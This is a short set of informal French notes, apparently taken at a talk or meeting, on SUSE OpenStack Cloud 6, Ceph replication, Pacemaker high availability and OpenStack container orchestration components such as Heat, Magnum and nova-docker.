=> Pierre ; CEPH et réplication dans espace de travail Owncloud Blog OS David Byte Suse => 10g de preference, bonding sur 5 cates rx OpenStack Suse Cloud 6 IAAS )> PAAS )> CAAS (container) software defined ravio release update à partir de Suse CLoud 6 !!! HA syr EC Dept auto HA via OCF? Pacemaker HAWK2 admin pacemaker attention à ne pas subir les contraintes des etudes openstack permet catalogue de services rapprochement de Pivotal (cloundfoundry) nova : EC2 pour instancier des VM dont l'image vient de Glance noca-docker : EC2 pour instancier des images dockers dans un Glance (au format adapté) pivotal émarrées depuis nova Heat : orchestrateur OpenStack, c'est lui qu iorchestrera les container sur les les VM via kubernets ou swarns plugin magnum : baies kubernetes, baie rocketOS, .... et eat orchestre via nova => pas production ready crawbar = projet Dell initiallement, voir Fuel comme alternatove à crawbar